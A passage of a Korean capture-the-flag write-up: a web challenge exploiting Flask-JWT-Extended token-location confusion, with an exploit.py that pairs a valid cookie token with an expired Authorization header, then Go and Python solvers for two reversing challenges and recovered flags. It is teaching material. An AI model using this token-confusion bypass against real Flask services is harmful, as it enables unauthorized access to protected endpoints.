                                            expires_delta=datetime.timedelta(minutes=1))

        ret = {
            'access_token': access_token,
        }
    
        return jsonify(ret), 200
    
    @app.route('/flag', methods=['GET'])
    @jwt_required
    def flag():
        try:
            access_token = request.headers.get("Authorization").split()[1]
        except:
            return jsonify({"msg"           : "No Token!"})

        current_user = get_jwt_identity()
        
        if current_user == 'admin' and is_expired(access_token):
            # Here your Flag / It is not Race condition
            return jsonify({"Good For You"  : app.config['FLAG']})
        else:
            return jsonify({"msg"           :"Not Expired Token!"})
    

    with app.app_context():
        app.config['JWT_SECRET_KEY']     = app.config['SECRET']
        app.config['JWT_TOKEN_LOCATION'] = ['cookies', 'headers']
        jwtmanager                       = JWTManager(app)

        return app
  • ์œ„์˜ ๋ฌธ์ œ์—์„œ ์š”๊ตฌํ•˜๋Š” ๊ฒƒ์€ /flag ๋กœ ์ ‘๊ทผํ•˜์—ฌ @jwt_required๋ฅผ ํ†ต๊ณผํ•œ ํ›„, flag ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜์ง€๋งŒ, get_jwt_identity() ํ•จ์ˆ˜์™€ is_expired() ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ํ˜„์žฌ ํ† ํฐ์ด ๋งŒ๋ฃŒ๋˜์–ด์•ผ๋งŒ flag๋ฅผ ์ „๋‹ฌํ•ด์ฃผ๋Š” ํ˜•ํƒœ์˜ ๋ฌธ์ œ์ด๋‹ค.
  • ์ฒซ ๋ฒˆ์งธ๋กœ jwt_required๋ผ๋Š” decorator์—์„œ๋Š” request์—์„œ ๋ฐ›์•„์˜จ JWT์˜ ์ƒํƒœ๋ฅผ ์ฒดํฌํ•˜๊ณ , ์ •์ƒ์ ์ธ ํ† ํฐ(๋งŒ๋ฃŒ ์ƒํƒœ, ์‹œ๊ทธ๋‹ˆ์ฒ˜ ํ™•์ธ ๋“ฑ)์ธ ๊ฐ€๋ฅผ ํ™•์ธํ•œ๋‹ค. ์ฆ‰, ์ •์ƒ์ ์œผ๋กœ ์„œ๋ฒ„์—์„œ ๋ฐœํ–‰ํ•œ ํ† ํฐ์ด์–ด์•ผ ํ•œ๋‹ค๋Š” ์˜๋ฏธ์ด๋‹ค.
  • ๋‘ ๋ฒˆ์งธ๋กœ access_token์—์„œ Authorization ํ—ค๋”์— ์žˆ๋Š” ํ† ํฐ์„ ๋ฐ›์•„์™€ ํ•ด๋‹น ํ† ํฐ์ด ์ •์ƒ์ ์ธ์ง€ ์ฒดํฌํ•˜์—ฌ expired ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฃจํ‹ด์ด ์žˆ๋‹ค. ๋‹จ, ์—ฌ๊ธฐ์„œ๋„ get_jwt_identity() ํ•จ์ˆ˜๋กœ ํ† ํฐ์„ ๊ฒ€์‚ฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์„œ๋ฒ„์—์„œ ๋ฐœํ–‰ํ•œ ์ •์ƒ์ ์ธ ํ† ํฐ์„ ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค.
  • ๋”ฐ๋ผ์„œ ์œ„์˜ ๋ฌธ์ œ์˜ ์ปจ์…‰์€ JWT๊ฐ€ ๋งŒ๋ฃŒ๋˜์ง€ ์•Š์•˜์ง€๋งŒ, ๋งŒ๋ฃŒ๋˜์–ด์•ผ ํ’€๋ฆฌ๋Š” ๋ฌธ์ œ๋กœ, ๋กœ์ง€์ปฌํ•œ ์ทจ์•ฝ์ ์„ ์˜๋„ํ•œ ๊ฒƒ์ด๋‹ค. ๋จผ์ € ๋ฌธ์ œ ํ’€์ด์— ์•ž์„œ Flask-JWT-Extended ์˜คํ”ˆ์†Œ์Šค์— ๋Œ€ํ•œ ์„ค๋ช…์ด ํ•„์š”ํ•  ๊ฒƒ ๊ฐ™๋‹ค.

[Flask-JWT-Extended]

  • Flask์—๋Š” ๋‹ค์–‘ํ•œ Extended ๋ชจ๋“ˆ์ด ์žˆ๋Š”๋ฐ, ๊ทธ ์ค‘ ํ•˜๋‚˜๋กœ JWT์— ๋Œ€ํ•œ ๋ชจ๋“ˆ์ด ์žˆ๋‹ค. pyjwt๋ฅผ ์‚ฌ์šฉํ•ด๋„ ๋ฌด๋ฐฉํ•˜๋‚˜, ๋ณด๋‹ค ์œ ์—ฐํ•œ ์ฝ”๋“œ ์ž‘์„ฑ๊ณผ ๊ด€๋ฆฌ๋ฅผ ์œ„ํ•ด Flask-JWT-Extended๋ฅผ ์ถ”์ฒœํ•œ๋‹ค.
  • Document๋ฅผ ์‚ดํŽด๋ณด๋ฉด Basic Usage์—์„œ ๋ณด์—ฌ์ฃผ๋Š” ๊ฒƒ๊ณผ ๊ฐ™์ด Header๋ฅผ ํ†ตํ•ด JWT๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ๊ณผ Query(get), JSON(post), Cookie๊ทธ๋ฆฌ๊ณ  ์ด ๋„ค ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์œผ๋กœ ์‚ฌ์šฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.
  • ์ด๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฃจํ‹ด์„ ๋จผ์ € ํŒŒ์•…ํ•ด๋ณด๋„๋ก ํ•˜์ž.
  • flask-jwt-extended ์˜ view_decorator ์†Œ์Šค
# https://github.com/vimalloc/flask-jwt-extended/blob/master/flask_jwt_extended/view_decorators.py
def _decode_jwt_from_request(request_type):
    # All the places we can get a JWT from in this request
    get_encoded_token_functions = []

    locations = config.token_location

    # add the functions in the order specified in JWT_TOKEN_LOCATION
    for location in locations:
        if location == 'cookies':
            get_encoded_token_functions.append(
                lambda: _decode_jwt_from_cookies(request_type))
        if location == 'query_string':
            get_encoded_token_functions.append(_decode_jwt_from_query_string)
        if location == 'headers':
            get_encoded_token_functions.append(_decode_jwt_from_headers)
        if location == 'json':
            get_encoded_token_functions.append(
                lambda: _decode_jwt_from_json(request_type))

    # Try to find the token from one of these locations. It only needs to exist
    # in one place to be valid (not every location).
    errors = []
    decoded_token = None
    jwt_header = None
    for get_encoded_token_function in get_encoded_token_functions:
        try:
            encoded_token, csrf_token = get_encoded_token_function()
            decoded_token = decode_token(encoded_token, csrf_token)
            jwt_header = get_unverified_jwt_headers(encoded_token)
            break
        except NoAuthorizationError as e:
            errors.append(str(e))

    # Do some work to make a helpful and human readable error message if no
    # token was found in any of the expected locations.
    if not decoded_token:
        token_locations = config.token_location
        multiple_jwt_locations = len(token_locations) != 1

        if multiple_jwt_locations:
            err_msg = "Missing JWT in {start_locs} or {end_locs} ({details})".format(
                start_locs=", ".join(token_locations[:-1]),
                end_locs=token_locations[-1],
                details="; ".join(errors)
            )
            raise NoAuthorizationError(err_msg)
        else:
            raise NoAuthorizationError(errors[0])

    verify_token_type(decoded_token, expected_type=request_type)
    verify_token_not_blacklisted(decoded_token, request_type)
    return decoded_token, jwt_header

  • ์œ„์™€ ๊ฐ™์ด for ๋ฐ˜๋ณต๋ฌธ์„ ์ด์šฉํ•˜์—ฌ location ํ† ํฐ์ด ์žˆ์„ ๊ฒƒ์ด๋ผ ๋ฏธ๋ฆฌ ์„ ์–ธ๋˜์–ด ์žˆ๋˜ ์œ„์น˜๋ฅผ ๋ชจ๋‘ ํ™•์ธํ•˜์—ฌ get_encoded_token_functions์— append ํ•œ๋‹ค. ์ด๋•Œ location์€ config.py์— JWT_TOKEN_LOCATION์œผ๋กœ ์„ ์–ธํ•˜๊ฑฐ๋‚˜ app.config['JWT_TOKEN_LOCATION']์— ์„ ์–ธํ•  ์ˆ˜ ์žˆ๋‹ค.
    for get_encoded_token_function in get_encoded_token_functions:
        try:
            encoded_token, csrf_token = get_encoded_token_function()
            decoded_token = decode_token(encoded_token, csrf_token)
            jwt_header = get_unverified_jwt_headers(encoded_token)
            break
        except NoAuthorizationError as e:
            errors.append(str(e))
  • ์ด๋•Œ ์œ„์™€ ๊ฐ™์ด get_encoded_token_functions์— append๋œ ๋ชจ๋“  ์œ„์น˜์—์„œ ํ† ํฐ์„ ํŒŒ์‹ฑํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ append๋œ ์ˆœ์„œ๋Œ€๋กœ token์„ ๊ฒ€์‚ฌํ•˜๋˜, ํ•˜๋‚˜๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ํŒŒ์‹ฑ๋˜์—ˆ์„ ๊ฒฝ์šฐ, ๋’ค์˜ ํ† ํฐ์€ ๋ฌด์‹œํ•˜๋„๋ก ์ฝ”๋“œ๊ฐ€ ์ž‘์„ฑ๋˜์–ด ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ† ํฐ์˜ ์œ„์น˜๊ฐ€ ์—ฌ๋Ÿฌ ๊ณณ์œผ๋กœ ์ง€์ •ํ•  ๊ฒฝ์šฐ ๋กœ์ง€์ปฌํ•œ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๊ณ , ์ด๋ฒˆ ๋ฌธ์ œ์˜ ์ปจ์…‰ ๋˜ํ•œ ์ด์™€ ๋™์ผํ•˜๋‹ค.
  • ๋‹ค์‹œ ๋ฌธ์ œ๋กœ ๋Œ์•„์™€ ๋ˆˆ์—ฌ๊ฒจ๋ด์•ผ ํ•  ๊ฒƒ์€ app.config['JWT_TOKEN_LOCATION']์ด๋‹ค.
    with app.app_context():
        app.config['JWT_SECRET_KEY']     = app.config['SECRET']
        app.config['JWT_TOKEN_LOCATION'] = ['cookies', 'headers']
        jwtmanager                       = JWTManager(app)

        return app
  • JWT ํ† ํฐ์˜ ์œ„์น˜๊ฐ€ cookies, ๊ทธ๋ฆฌ๊ณ  headers๋กœ ๋˜์–ด ์žˆ๋‹ค. jwt_required์™€ get_jwt_identity()์—์„œ๋Š” cookies์— ์„ ์–ธ๋œ JWT Token์„ ํ†ตํ•ด ๊ฒ€์ฆํ•˜๊ฒŒ ๋œ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ธ์œ„์ ์œผ๋กœ Authorization ํ—ค๋”๋ฅผ ํ†ตํ•ด ๊ฒ€์ฆํ•˜๋Š” ๊ณณ์—์„œ๋Š” _decode_jwt_from_request์—์„œ returnํ•˜๋Š” ํ† ํฐ๊ณผ๋Š” ๋‹ค๋ฅด๋‹ค.
  • ์ด์™€ ๊ฐ™์€ ๊ฒ€์‚ฌ ๋ฃจํ‹ด์„ ํ†ตํ•ด ๊ฒ€์ฆํ•  ๊ฒฝ์šฐ ๋กœ์ง€์ปฌํ•œ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— Flask-JWT-Extended์˜ ๊ฒฝ์šฐ ํ•ด๋‹น ๋ชจ๋“ˆ์—์„œ ์ œ๊ณตํ•˜๋Š” ํ•จ์ˆ˜๋กœ ํ† ํฐ ๊ฒ€์‚ฌ ๋ฐ ๊ฒ€์ฆ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋œ๋‹ค.
# exploit.py
import requests
import json
import jwt

requests.packages.urllib3.disable_warnings()

# Get Token
url     = "http://ctf.kkamikoon.com/"
headers = { "Content-Type"  : "application/json; charset=utf-8" }
data    = { "username"      : "admin",
            "password"      : "admin" }

res     = requests.post(url=url + "login", headers=headers, data=json.dumps(data), verify=False)
new     = json.loads(res.text)['access_token']

# Expired JWT == Exploit JWT
exploit_jwt     = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1OTc4NTc4MzcsIm5iZiI6MTU5Nzg1NzgzNywianRpIjoiMzQyYjNlZTItMzQ1My00Y2IzLWFjYzgtZjMxMzcyYjU3NGEwIiwiZXhwIjoxNTk3ODU3ODAwLCJpZGVudGl0eSI6Imd1ZXN0IiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIiwiY3NyZiI6IjRmNGE4YTk3LTdiNDEtNGZiMy1iYzcxLTE0YjBiODM3ZmQyNSJ9.pJYyoZjq-6l06TQ6ugfQZjoHtSClEhW_6AvXzYjAQM8" # expired
exploit_headers = {
    "Authorization" : f"Bearer {exploit_jwt}",
    "Cookie"        : f"access_token_cookie={new}"
}

res     = requests.get(url=url + "flag", headers=exploit_headers, verify=False)

print(res.text)

๐Ÿ–ฅ๏ธ REVERSING

gocat


๐Ÿ’ก
golang ๋ฆฌ๋ฒ„์‹ฑ & ๊ฐ„๋‹จํ•œ ์—ญ์—ฐ์‚ฐ / 0 solver
  • ์ฃผ์–ด์ง„ ๋ฌธ์ œ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œ๋ฐ›๊ณ  ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ida๋กœ ์—ด๊ฒŒ๋˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ์‹ฌ๋ณผ์ด ์‚ด์•„์žˆ์ง€ ์•Š์€ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ธ๋‹ค.
  • ํ•˜์ง€๋งŒ golang์€ ์ฝ”๋“œ ์ž‘์„ฑ์‹œ ์‚ฌ์šฉํ•œ ํŒจํ‚ค์ง€์™€ ์—ฌ๋Ÿฌ ํ•จ์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด๋“ค์„ gopclntab ์„น์…˜์— ์ €์žฅํ•œ๋‹ค. ํ•ด๋‹น ์„น์…˜์— ์ €์žฅ ์‹œ, ์•„๋ž˜์™€ ๊ฐ™์€ ๊ตฌ์กฐ์ฒด๋ฅผ ๊ฐ€์ง„๋‹ค.
struct _FUNCTIONINFO {
	QDWORD lpFunctionAddr,
	QDWORD qdNameOffset
}
  • ๋”ฐ๋ผ์„œ, ํ•ด๋‹น ์„น์…˜์˜ ๊ตฌ์กฐ์ฒด๋ฅผ ํŒŒ์‹ฑํ•ด์„œ ์˜ค๋””ํŒ…์„ ์ง„ํ–‰ํ•˜๋ฉด ๋œ๋‹ค. ํ•˜์ง€๋งŒ ์ด ์ž‘์—…๋“ค์€ ๋„ˆ๋ฌด ๋งŽ์€ ๋…ธ๋™์ด ํ•„์š”ํ•˜๋ฏ€๋กœ ๋ˆ„๊ตฐ๊ฐ€ ๋งŒ๋“ค์–ด๋†“์€ ida golang assist๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์•„๋ž˜์˜ ๊ทธ๋ฆผ๊ณผ ๊ฐ™์ด ๋น„๊ต์  ๊น”๋”ํ•œ ํ•จ์ˆ˜๋ช…์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค.

  • ์œ„์™€ ๊ฐ™์ด assist๋ฅผ ์‚ฌ์šฉํ•ด ํ•จ์ˆ˜๋ช…์„ ๋ฐ”๊ฟ”์ค€ ์ดํ›„, main_mainํ•จ์ˆ˜๋ฅผ ์ฐพ์•„์„œ ๋””์ปดํŒŒ์ผํ•œ๋‹ค.
  • main_mainํ•จ์ˆ˜๋ฅผ ๋Œ€๋žต์ ์œผ๋กœ ์‚ดํŽด๋ณด๋ฉด ์–ด๋Š์ •๋„ ๊ตฌ์กฐ๊ฐ€ ๋ˆˆ์— ๋“ค์–ด์˜ค๊ฒŒ ๋˜๋Š”๋ฐ ๋‹ค์Œ๊ณผ ๊ฐ™์€ pseudo code๋กœ ๋˜์–ด์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๊ณ , ์—ญ์—ฐ์‚ฐ์ด ์ถฉ๋ถ„ํžˆ ๊ฐ€๋Šฅํ•œ ๊ตฌ์กฐ์ธ ๊ฒƒ ๋˜ํ•œ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
# pseudo code
seed = time.unixtime()
srand(seed);

for i in range(256):
	table[i] = rand()

flag = input()
if len(flag) > 44:
	exit(0)

result = []
for i in range(44):
	result += [ getRandom() * table[getIndex((1 << i) % 256)] + flag[i] ]

for i in range(44):
	print(i, result[i])
  • ์—ฌ๊ธฐ์„œ ์ถ”๊ฐ€์ ์œผ๋กœ ๋ถ„์„ํ•ด์•ผํ•  ๊ฒƒ์€ getIndexํ•จ์ˆ˜์ธ๋ฐ, ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.
  • ์žฌ๊ท€์ ์œผ๋กœ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ •์ƒ์ ์œผ๋กœ ๋””์ปดํŒŒ์ผ์ด ๋˜์ง€ ์•Š๋Š”๋‹ค. ์ด๋Ÿฌํ•œ ์ด์œ  ๋•Œ๋ฌธ์— ์–ด์…ˆ ์ฝ”๋“œ๋ฅผ ๋ณด์•„์•ผํ•œ๋‹ค.
  • ์œ„์˜ ๋‘ ๊ทธ๋ฆผ์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ, eax๊ฐ€ getIndexํ•จ์ˆ˜์—์„œ ์Šคํƒ์œผ๋กœ ๋“ค์–ด๊ฐ€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ  ๋Œ€๋žต์ ์œผ๋กœ ์•„๋ž˜์™€ ๊ฐ™์ด ๋™์ž‘ํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
def getIndex(depth):
	if depth < 2:
		return 1
	return (getIndex(depth - 2) + getIndex(depth - 1)) % 256
  • ์œ„์˜ ์‹๋Œ€๋กœ ๊ณ„์‚ฐ์„ ํ•˜๋ฉด ํ”ผ๋ณด๋‚˜์น˜ ์ˆ˜์—ด์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด๋ฅผ ์žฌ๊ท€์ ์œผ๋กœ ๊ตฌํ˜„ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— 40๋ฒˆ์งธ ์ˆ˜์—ด ๊ฐ’์„ ๊ณ„์‚ฐํ•˜๊ธฐ ์œ„ํ•ด์„œ ์ ์ง€์•Š์€ ๊ณ„์‚ฐ์ด ํ•„์š”ํ•˜๊ฒŒ ๋œ๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ memorization ์ด๋‚˜ ๊ฐ„๋‹จํ•˜๊ฒŒ ๋ฏธ๋ฆฌ ๋ฐฐ์—ด๋กœ ๊ณ„์‚ฐ์„ ํ•ด์ฃผ๋ฉด ๋œ๋‹ค.
  • ์œ„์˜ ์ž‘์—…๋“ค์„ ๋ชจ๋‘ ํ•ฉ์ณ์„œ, ์—ญ์—ฐ์‚ฐ์„ ํ•˜๊ธฐ ์œ„ํ•œ poc๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.
package main

import (
   "fmt"
   "math/rand"
   "time"
)
var memory []int

func getIndex(idx int) int {
   if memory[idx] != 0 {
      return memory[idx]
   }
   if idx < 2 {
      memory[idx] = 1
      return 1
   }
   result := (getIndex(idx - 2) + getIndex(idx - 1)) & 0xFF
   memory[idx] = result
   return result
}

func getRandom(r *rand.Rand) int {
   return r.Int()
}

func main() {
   memory = make([]int, 0x100)
   flag_enc := []uint32{
2069409670, 2964128287, 2354096995, 3032984546, 10510900, 2544990927, 2926778951, 552570446, 1853857527, 3973419442, 3048538325, 1902664467, 420185447, 2658384181, 2929871612, 4151170943, 7446955, 2503536331, 1899187641, 3227466824, 3596188763, 2770886128, 3598361089, 3417226313, 2440643422, 157914802, 380458138, 2585576567, 3413857472, 2292452225, 2949469921, 3191119812, 3830151779, 783135889, 801108861, 50993623, 2780019976, 283706417, 64541485, 3786109553, 4159600537, 2979925216, 3157377353, 420734285,
   }
   for unix := time.Now().Unix(); unix > 0; unix-- {
      r := rand.New(rand.NewSource(unix))
      table := make([]uint8, 0x100)

      for i := 0; i < 0x100; i++ {
         table[i] = uint8(getRandom(r))
      }
      prefix := []byte("bob")
      found := true

      for i := 0; i < len(prefix); i++ {
         calc := int(prefix[i]) + int(table[getIndex(((1 << uint32(i)) % 256))]) * getRandom(r)
         if uint32(calc) != flag_enc[i] {
            found = false
            break
         }
      }
      if found == true {
         fmt.Println("[+] Found flag")
         flag := make([]byte, len(flag_enc))
         for i := len(prefix); i < len(flag_enc); i++ {
            flag[i] = byte(int(uint32(flag_enc[i])) - int(table[(getIndex((1 << uint32(i) % 256)))]) * getRandom(r))
         }
         fmt.Println("flag => ", string(prefix) + string(flag))
         return
      }
   }
}

flag: bob{DO_NOT_USING_GOLANG_PLZ_JUST_KEEP_GOING}

bvm-rev


๐Ÿ’ก
bvm ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ๋กœ๋“œํ•˜๋Š” flag.bvm์˜ ์ฝ”๋“œ ํ๋ฆ„ ๋ถ„์„

bvm ํŒŒ์ผ์€ ์œ„ ๊ทธ๋ฆผ๊ณผ ๊ฐ™์€ ๊ตฌ์กฐ๋ฅผ ๊ฐ€์ง€๊ณ , ๊ฐ ์„น์…˜์€ ์ฝ”๋“œ ์˜์—ญ, ๋ฐ์ดํ„ฐ ์˜์—ญ, ๋ณ€์ˆ˜ ์˜์—ญ ๋“ฑ์œผ๋กœ ์‚ฌ์šฉ๋œ๋‹ค.

struct CALLSTACK {
    uint16_t reg[4];
    uint16_t retaddr;
};

struct BVM {
    uint16_t section[32];
    uint8_t 32;
    int8_t zf;
    struct CALLSTACK callstack[6];
    int8_t cs_count;
    uint32_t size;
    uint8_t data[2048];
    uint16_t reg[4]; //ax, bx, cx, dx
    uint16_t pc;
};

๊ฐ opcode๊ฐ€ ์–ด๋–ค ๋™์ž‘์„ ํ•˜๋Š”์ง€ ํŒŒ์•…ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๊ตฌ์กฐ์ฒด๋ฅผ ์ •์˜ํ•˜๊ณ  ๋ถ„์„ํ•˜๋Š” ๊ฒƒ์ด ํŽธํ•˜๋‹ค.

๊ทธ๋ฆฌ๊ณ  ๋ถ„์„์„ ํ†ตํ•ด ์•„๋ž˜์˜ ๋ช‡๊ฐ€์ง€ ์‚ฌ์‹ค์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

  1. 4๊ฐœ์˜ register(ax, bx, cx, dx)๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ๊ฐ ๋ ˆ์ง€์Šคํ„ฐ์™€ ๋ชจ๋“  ์—ฐ์‚ฐ์ฒ˜๋ฆฌ๋Š” 2bytes ํฌ๊ธฐ๋ฅผ ๊ฐ€์ง„๋‹ค.
  1. CALL instruction์„ ํ˜ธ์ถœํ•  ๋•Œ register์™€ ๋Œ์•„์˜ฌ ์ฃผ์†Œ๋ฅผ ๋ฐฑ์—…ํ•˜๊ณ , RETURN์„ ๋งŒ๋‚˜๋ฉด ax register๋ฅผ ์ œ์™ธํ•œ register๋ฅผ ๋ณต์›ํ•˜๊ณ  ๋Œ์•„์˜ฌ ์ฃผ์†Œ๋กœ pc๋ฅผ ๋ณ€๊ฒฝํ•œ๋‹ค.
  1. ๊ฒฝ๊ณ„(boundary)๋ฅผ ๋„˜์–ด์„œ๋Š” ์ฐธ์กฐ๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ์ข…๋ฃŒ๋œ๋‹ค. (์ผ๋ถ€ opcode์—์„œ๋Š” ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ๋ฅผ ํ•˜์ง€ ์•Š๋Š”๋‹ค)

.KEY
db 170, 68, 138, 0, 142, 162, 151, 226, 51, 148, 151, 94, 14, 185, 161, 33


.ENC_FLAG
db 123, 120, 140, 153, 192, 37, 165, 150, 203, 23, 199, 222, 164, 129, 2, 229, 59, 56, 195, 97, 207, 108, 50, 51, 153, 248, 39, 72, 122, 0, 93, 44, 113


.GET_FLAG_LENGTH
MOVE ax, SECTION#INPUT_FLAG
MOVE cx, 0
:LABEL_1
MOVE bx, ax
ADD bx, cx
MOVE bx, [bx]
AND bx, 255
COMP bx, 0
JE LABEL_2
COMP bx, 10 // '\n'
JE LABEL_2
ADD cx, 1
JMP LABEL_1
:LABEL_2
MOVE ax, cx
RETURN

.ROL
MOVE cx, bx
MOD cx, 8
MOVE bx, 8
SUB bx, cx
RSHIFT cx, ax, bx

MOVE dx, 8
SUB dx, bx
MOVE bx, dx

LSHIFT dx, ax, bx
MOVE bx, 8
LSHIFT ax, cx, bx
SUB dx, ax
MOVE ax, dx
ADD ax, cx
RETURN


.FLAG_CHECK
MOVE cx, 0

:LABEL_3
MOVE ax, SECTION#INPUT_FLAG
ADD ax, cx
MOVE ax, [ax]
AND ax, 255
MOVE bx, cx
CALL ROL
MOVE bx, SECTION#RESULT_FLAG
ADD bx, cx
MOVE [bx], ax

MOVE ax, SECTION#KEY
MOVE bx, cx
MOD bx, 16
ADD ax, bx
MOVE dx, [ax]
AND dx, 255

MOVE ax, SECTION#INPUT_FLAG
MOVE bx, cx
ADD bx, 1
MOD bx, 33
ADD ax, bx
MOVE ax, [ax]
AND ax, 255

ADD dx, ax
MOVE bx, SECTION#RESULT_FLAG
ADD bx, cx
MOVE ax, [bx]
XOR ax, dx
AND ax, 255

MOVE bx, SECTION#RESULT_FLAG
ADD bx, cx
MOVE [bx], ax

ADD cx, 1
COMP cx, 33
JNE LABEL_3

MOVE cx, 0
MOVE dx, 1

:LABEL_4
MOVE ax, SECTION#RESULT_FLAG
ADD ax, cx
MOVE ax, [ax]
AND ax, 255
MOVE bx, SECTION#ENC_FLAG
ADD bx, cx
MOVE bx, [bx]
AND bx, 255
COMP ax, bx
JE LABEL_5
MOVE dx, 0
:LABEL_5

ADD cx, 1
COMP cx, 33
JNE LABEL_4
MOVE ax, dx
RETURN


.STRING_CHECK_YOUR_FLAG
string "Check your flag: "


.STRING_CORRECT
string "Correct !!\n"


.STRING_INCORRECT
string "Wrong ...\n"


.INPUT_FLAG
empty 50


.RESULT_FLAG
empty 34


.MAIN
MOVE cx, 17
MOVE bx, SECTION#STRING_CHECK_YOUR_FLAG
MOVE ax, 1
SYSCALL

MOVE cx, 48
MOVE bx, SECTION#INPUT_FLAG
MOVE ax, 0
SYSCALL

CALL GET_FLAG_LENGTH
COMP ax, 33
JNE LABEL_6

CALL FLAG_CHECK
COMP ax, 1

JNE LABEL_6
MOVE cx, 11
MOVE bx, SECTION#STRING_CORRECT
MOVE ax, 1
SYSCALL
RETURN

:LABEL_6
MOVE cx, 10
MOVE bx, SECTION#STRING_INCORRECT
MOVE ax, 1
SYSCALL
RETURN

bvm ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ถ„์„์„ ํ†ตํ•ด ๊ฐ bvm opcode๋ฅผ ํ•ด์„ํ•˜๊ณ  flag.bvm์„ ์œ„์™€ ๊ฐ™์ด disassembleํ•œ๋‹ค.

def ROL(data, shift):
    shift %= 8
    remains = data >> (8 - shift)
    body = (data << shift) - (remains << 8)
    return (body + remains)

def GET_FLAG_LENGTH(inp):
    return len(inp)

ENC_FLAG = [123, 120, 140, 153, 192, 37, 165, 150, 203, 23, 199, 222, 164, 129, 2, 229, 59, 56, 195, 97, 207, 108, 50, 51, 153, 248, 39, 72, 122, 0, 93, 44, 113]
KEY = [170, 68, 138, 0, 142, 162, 151, 226, 51, 148, 151, 94, 14, 185, 161, 33]

INPUT_FLAG = list(input("Check your flag: ").encode())
if GET_FLAG_LENGTH(INPUT_FLAG) != 33:
    exit(0)

RESULT_FLAG = [0] * 33

for i in range(33):
    RESULT_FLAG[i] = ROL(INPUT_FLAG[i], i)
    RESULT_FLAG[i] ^= KEY[i % 16] + INPUT_FLAG[(i + 1) % 33]
    RESULT_FLAG[i] &= 0xFF

if RESULT_FLAG == ENC_FLAG:
    print("Correct !!")
else:
    print("Wrong ..")

disassmbleํ•œ ๊ฒฐ๊ณผ๋ฅผ python์œผ๋กœ ํฌํŒ…ํ•œ๋‹ค.

def ROR(data, shift):
    shift %= 8
    body = data >> shift
    remains = (data << (8 - shift)) - (body << 8)
    return (body + remains)


KEY = [170, 68, 138, 0, 142, 162, 151, 226, 51, 148, 151, 94, 14, 185, 161, 33]
ENC_FLAG = [123, 120, 140, 153, 192, 37, 165, 150, 203, 23, 199, 222, 164, 129, 2, 229, 59, 56, 195, 97, 207, 108, 50, 51, 153, 248, 39, 72, 122, 0, 93, 44, 113]

FLAG = [0] * 33
FLAG[0] = ord('b') # prefix "bob{"

for i in range(32, -1, -1):
    FLAG[i] = ROR(ENC_FLAG[i] ^ (FLAG[(i + 1) % 33] + KEY[i % 16]) & 0xFF, i)

print("FLAG => {}".format(bytes(FLAG)))
# FLAG => b'bob{BVM_Wi1l_C0m2_B@ck_N2xt_T1me}'

์ด๊ฒƒ์„ ์—ญ์—ฐ์‚ฐํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•ด๋‹น ๋ฐฉ์‹ ์ด์™ธ์— ๋น„๊ต opcode(0x9, 0x19)์— BP๋ฅผ ๊ฑธ๊ณ  input์— ๋”ฐ๋ผ ๋ณ€ํ™”ํ•˜๋Š” register๋ฅผ ๋ณด๊ณ  ๊ทœ์น™์„ ์ฐพ์•„ flag๋ฅผ ๊ฐ„์ ‘์ ์œผ๋กœ ์ถ”์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ๊ฐ€๋Šฅํ•˜๋‹ค.

Hot Patching


๐Ÿ’ก
